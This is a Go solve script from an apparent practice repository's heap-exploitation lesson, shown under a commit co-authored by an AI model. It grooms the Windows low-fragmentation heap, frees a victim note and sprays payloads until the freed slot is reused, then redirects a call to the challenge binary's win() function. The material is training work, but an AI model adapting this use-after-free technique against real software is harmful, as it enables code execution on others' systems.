Files
go_pwner/workspace/06_heap_lfh/main.go
T
larryandClaude Sonnet 4.6 c9aafc512b restructure workspace into numbered pwn progression
Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-08-06 22:21:32 +03:00

117 lines
3.0 KiB
Go

package main
import (
"bytes"
"fmt"
"log"
"strconv"
"strings"
"winpwn"
)
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in line %q", line)
}
hexPart := line[idx+len("addr=0x"):]
hexPart = bytes.TrimSpace(hexPart)
return strconv.ParseUint(string(hexPart), 16, 64)
}
func main() {
pf, err := winpwn.OpenPE("heap_lfh.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
base, err := pf.ImageBase()
if err != nil {
log.Fatalf("ImageBase: %v", err)
}
winAddr := base + winRVA
pf.Close()
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
tube, err := winpwn.Spawn("heap_lfh.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
for i := 0; i < 5; i++ {
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
log.Fatalf("SendLine: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
}
if err := tube.SendLine([]byte("A victim")); err != nil {
log.Fatalf("SendLine: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine: %v", err)
}
victimAddr, err := parseAddr(resp)
if err != nil {
log.Fatalf("parse victim addr: %v", err)
}
victimID := 5
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
log.Fatalf("SendLine: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
payload := bytes.Repeat([]byte{0x41}, 24)
payload = append(payload, winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)
const maxAttempts = 64
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
_, _, attempts, ok, err := winpwn.SprayAndFind(
[]winpwn.SprayResult[uint64]{victim},
maxAttempts,
func(attempt int) (winpwn.SprayResult[uint64], error) {
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
}
resp, err := tube.RecvLine()
if err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
}
if !strings.HasPrefix(string(resp), "OK") {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
}
addr, err := parseAddr(resp)
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
},
func(a, b uint64) bool { return a == b },
)
if err != nil {
log.Fatalf("spray: %v", err)
}
if !ok {
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
}
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
log.Fatalf("SendLine: %v", err)
}
tube.Interactive()
}